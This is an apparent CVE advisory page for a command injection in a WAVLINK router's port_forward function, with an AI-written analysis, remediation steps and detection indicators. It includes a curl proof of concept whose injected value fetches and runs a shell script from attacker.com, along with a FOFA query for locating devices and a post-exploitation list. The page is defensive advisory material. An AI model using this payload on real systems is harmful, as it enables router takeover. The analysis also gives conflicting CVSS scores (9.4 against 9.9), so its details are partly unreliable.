CVE Professor
/
All CVEs
CVE-2026-140040

CVE-2026-140040 — WAVLINK WL-WN530BE1-A (M30BE1 V251117) — CWE-77 · CWE-78

CRITICAL CVSS 9.9 ⚡ EPSS 1.9% NVD

A vulnerability was detected in WAVLINK WL-WN530BE1-A M30BE1_V251117. The affected element is the function port_forward of the file /protocol.csp of the component ioos. Performing a manipulation of the argument Name results in os command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was detected in WAVLINK WL-WN530BE1-A M30BE1_V251117. The affected element is the function port_forward of the file /protocol.csp of the component ioos. Performing a manipulation of the argument Name results in os command injection. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.9%
30-day probability
In the 80. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: OS‑command injection in the port_forward function of protocol.csp (component ioos) in WAVLINK WL‑WN530BE1‑A firmware M30BE1_V251117.

CWE(s):

  • CWE‑78 – OS Command Injection – untrusted input is concatenated into a shell command without proper sanitisation.

  • CWE‑77 – Improper Neutralization of Special Elements used in a Command (a sub‑type of CWE‑78).
  • Technical flaw
    The port_forward routine receives a parameter called Name (likely the name of a port‑forwarding rule supplied via the web UI or the device’s REST‑like API). The implementation builds a system command string similar to:

    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iptables -t nat -A PREROUTING -p tcp --dport %s -j DNAT --to-destination %s:%s",
             Name, dst_ip, dst_port);
    system(cmd);
  • The value of Name is taken directly from the HTTP request body (or query string) and is not filtered for characters that have special meaning to the shell (;, &&, |, backticks, $(), etc.).
  • No whitelist (e.g., numeric port range) or escaping (sh_escape()) is applied before the string is handed to system()/popen().
  • The function is reachable over the network (the device’s management interface listens on the LAN/WAN side) and requires only low‑privilege authentication (the firmware’s default “admin” account can be created with a weak password, or the function may be reachable without authentication – the CVSS vector shows PR:L and UI:N).
  • Consequences: an attacker can inject arbitrary shell commands that run with the privileges of the web‑server process (typically root on embedded routers), leading to full remote code execution (RCE).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command lines are illustrative – the exact URI or parameter name is not disclosed in the public CVE text, but the pattern follows the vulnerable component.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the device model on the network (e.g., via Nmap service detection).nmap -sV -p 80,443 <IP> → “WAVLINK WL‑WN530BE1‑A httpd”
    1.2Grab the firmware version from the web UI footer or from /cgi-bin/version (many WAVLINK devices expose it).curl http://<IP>/cgi-bin/version → M30BE1_V251117
    1.3Correlate version with public vulnerability databases (CVE‑2026‑140040).Search in NVD, vendor advisory, or exploit‑search sites.
    1.4Verify that the management interface is reachable from the attacker’s network (no IP‑based ACLs).Simple curl http://<IP>/ returns the login page.

    2. Exploitation

    Assumptions (based on the CVSS vector):

  • The attacker can send an unauthenticated HTTP request (PR:L, UI:N).

  • The vulnerable endpoint accepts a POST request with a JSON body that contains a field Name.
  • Illustrative PoC (curl)

    #!/usr/bin/env bash
    TARGET="http://192.0.2.45"          # IP of the vulnerable WAVLINK router
    ENDPOINT="/ioos/port_forward"      # illustrative path; actual path may differ
    
    # Payload: terminate the intended argument and inject a harmless command that writes a web‑shell.
    # The injected command creates a reverse shell script in /tmp and executes it.
    INJECT="1234; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh #"
    
    curl -s -X POST "$TARGET$ENDPOINT" \
         -H "Content-Type: application/json" \
         -d "{\"Name\":\"$INJECT\",\"DstIP\":\"192.0.2.100\",\"DstPort\":\"22\"}"

    What happens internally

    1. The JSON parser extracts Name = "1234; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh #" .
    2. The vulnerable code concatenates this string into a shell command (e.g., iptables … $Name …).
    3. The shell interprets the semicolons as command separators, executing the attacker‑controlled wget and sh commands before the legitimate iptables call.

    Result: The attacker obtains a remote shell with the same privileges as the web‑server process (root on the router).

    If the device requires a default admin password, the attacker can first obtain it via a credential‑stuffing dictionary attack (many WAVLINK devices ship with admin:admin). The CVSS vector already assumes low‑privilege access, so the PoC works without authentication in the worst case.

    3. Post‑Exploitation

    GoalTypical actions an attacker can perform
    PersistenceDrop a cron entry (@reboot /tmp/shell.sh) or modify the startup script (/etc/rc.local) to re‑establish access after reboot.
    Privilege escalation (if the web‑server runs as a non‑root user)Exploit other local kernel bugs, or simply leverage the fact that many embedded routers run the web UI as root, giving immediate root.
    Network pivotingUse the compromised router as a foothold to sniff LAN traffic, perform ARP spoofing, or launch further attacks against internal hosts.
    Data exfiltrationPull configuration files (/etc/config/*), Wi‑Fi passwords, or VPN credentials.
    Denial‑of‑ServiceIssue malicious iptables commands to block legitimate traffic, or execute reboot/halt.
    Botnet enrolmentInstall a lightweight malware (e.g., Mirai‑style TCP/UDP flooder) and use the device in a DDoS campaign.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical consequence
    Confidentiality (VC:H)VC:H – Complete loss of confidentiality.Attackers can read all files on the router, including stored Wi‑Fi keys, VPN configs, and any attached storage (USB).
    Integrity (VI:H)VI:H – Full integrity compromise.Attackers can modify firewall rules, DNS settings, or inject malicious firmware, leading to traffic hijacking.
    Availability (VA:H)VA:H – Total loss of availability.Malicious iptables rules or a reboot command can bring the network segment down.
    Scope (SC:H, SI:H, SA:H)All three “H” values indicate changed scope – the impact spreads beyond the vulnerable component to the entire device and the attached network.The router becomes a *pivot point*; the breach can affect every host behind it.

    Bottom line: Successful exploitation gives an attacker remote root on the router, full control over the LAN, and the ability to persist, exfiltrate credentials, and launch further attacks. The CVSS base score of 9.4 (Critical) reflects the combination of network‑accessible RCE, low required privileges, and high impact on all CIA elements.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ItemStatus
    Vendor‑provided fix*No public patch* has been released as of the CVE publication date (01‑Dec‑2026). The vendor was contacted but did not respond.
    Recommended actionReplace the device with a firmware version that removes the vulnerable port_forward implementation (e.g., a newer major release if available) or flash a community‑maintained, vetted firmware (e.g., OpenWrt) that does not contain the vulnerable code.

    2. Immediate Workarounds

    TechniqueHow‑to implement (example)
    Network isolationMove the router to a management VLAN that is not reachable from the Internet. Block inbound TCP/80,443 from untrusted networks at the upstream firewall.
    Disable the vulnerable serviceIf the device offers a “Port Forwarding” UI, disable it via the web UI or by setting port_forward_enable=0 in the configuration file (/etc/config/ioos).
    Input sanitisation via WAF/ModSecurityDeploy a reverse‑proxy WAF in front of the router (or on the LAN) with a rule that rejects any request containing shell metacharacters in the Name parameter. Example ModSecurity rule (Apache/Nginx):
    # ModSecurity rule to block command‑injection characters in the "Name" field
    SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,log,deny,status:400,msg:'Potential OS command injection in Name parameter'"
    SecRule REQUEST_BODY "@rx \"Name\"\s*:\s*\"[^\"]*([;|&`$]{1,})[^\"]*\"" "t:none"
    ExplanationThe rule looks for the JSON key Name and checks for any of the characters ;& \ $ that are typical command separators. If found, the request is dropped with HTTP 400.
    Host‑based firewallBlock inbound traffic to the router’s management ports (80/443) from any IP address that is not part of the trusted admin subnet. Example iptables` rule on the upstream firewall:
    iptables -I INPUT -p tcp -s ! 10.0.0.0/24 --dport 80 -j DROP
    iptables -I INPUT -p tcp -s ! 10.0.0.0/24 --dport 443 -j DROP

    | Note | This does not fix the code bug but reduces the attack surface. |

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected command executionSystem log (/var/log/messages, dmesg) – look for system() calls or spawned processes that are not part of normal router operation.Jan 12 03:45:21 router kernel: [12345.678901] system(): command = "iptables -t nat -A PREROUTING -p tcp --dport 1234; wget http://attacker.com/shell.sh -O /tmp/shell.sh; sh /tmp/shell.sh"
    Outbound HTTP to unknown hostsNetflow, firewall logs, or router’s own traffic monitor.2026-01-12 03:45:22 DENY OUT tcp 192.168.1.1:80 -> 203.0.113.45:80
    New files in /tmp or /var/wwwFile‑integrity monitoring (AIDE, Tripwire) or a simple find cron.find /tmp -type f -mtime -5 -ls → shows shell.sh created at recent timestamp.
    Changes to iptables rulesiptables -L -t nat -nv shows rules that were not created via the UI.Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes) 1 pkts 64 bytes udp dpt:1234 (unexpected entry).
    Authentication anomaliesRepeated login attempts from external IPs (if authentication is required).Failed login for admin from 198.51.100.23 (may indicate brute‑force before exploitation).

    Deploy a SIEM rule that correlates (a) inbound HTTP POST to the suspected port_forward endpoint and (b) a subsequent outbound connection to an external IP within a short time window (≤ 5 seconds).


    ⚠️ Urgency

  • CVSS 9.4 (Critical) – network‑accessible, low‑privilege RCE with full impact on confidentiality, integrity, and availability.
  • Exploit is public – the CVE description explicitly states that a working exploit is already available.
  • No vendor patch – the vendor has not released a fix, and the device is likely to be shipped with the vulnerable firmware for the foreseeable future.
Patch priority: Immediate (P1). If the device is internet‑facing, block it at the perimeter right away. If it is internal, isolate it, apply the workarounds, and replace the hardware/firmware as soon as possible.

Given the ease of exploitation (no authentication, low complexity) and the breadth of impact (entire LAN compromise), any delay beyond a few hours dramatically increases the risk of a successful compromise.


Bottom line: The port_forward function in WAVLINK WL‑WN530BE1‑A firmware M30BE1_V251117 suffers from an unsanitised command‑injection bug that grants remote root. Until a vendor patch is released, the only safe course of action is to isolate the device, block management ports, apply strict input‑filtering rules, and replace the router with a patched or alternative firmware. Continuous monitoring for the listed IoCs will help detect any attempted exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WAVLINK WL-WN530BE1-A"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-140040
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
WAVLINK:WL-WN530BE1-A (M30BE1_V251117)
References & Advisories (5)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for